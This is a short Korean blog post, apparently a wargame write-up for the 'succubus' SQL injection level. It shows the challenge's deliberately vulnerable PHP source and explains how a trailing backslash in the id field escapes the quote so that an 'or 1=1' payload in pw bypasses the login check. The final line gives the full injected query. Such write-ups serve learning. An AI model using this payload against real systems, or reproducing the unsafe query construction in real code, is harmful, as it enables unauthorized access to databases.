늘모자란, 개발 :: [LOS] succubus

늘모자란, 개발

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>


이젠 제대로 ' 를 필터링한다. 이건 감이 안와서 검색을 좀 해봤는데 답은 quote를 강제로 esacpe 시키는것이다
그러니까 이미 escape 된 \' 이라고 거짓말을 치는건데..

요컨데 앞의 뒤의 id에 들어가는 '를 문자열로 만들어서 quote라고 인식하지 않게 하는 것이다.
그래서 ' 안에 ' 가 들어갈 수 있게 되면 쿼리가 성립한다. 좀 어처구니가 없다

select id from prob_succubus where id='\' and pw=' or 1=1 -- a'
2017/06/21 12:42 2017/06/21 12:42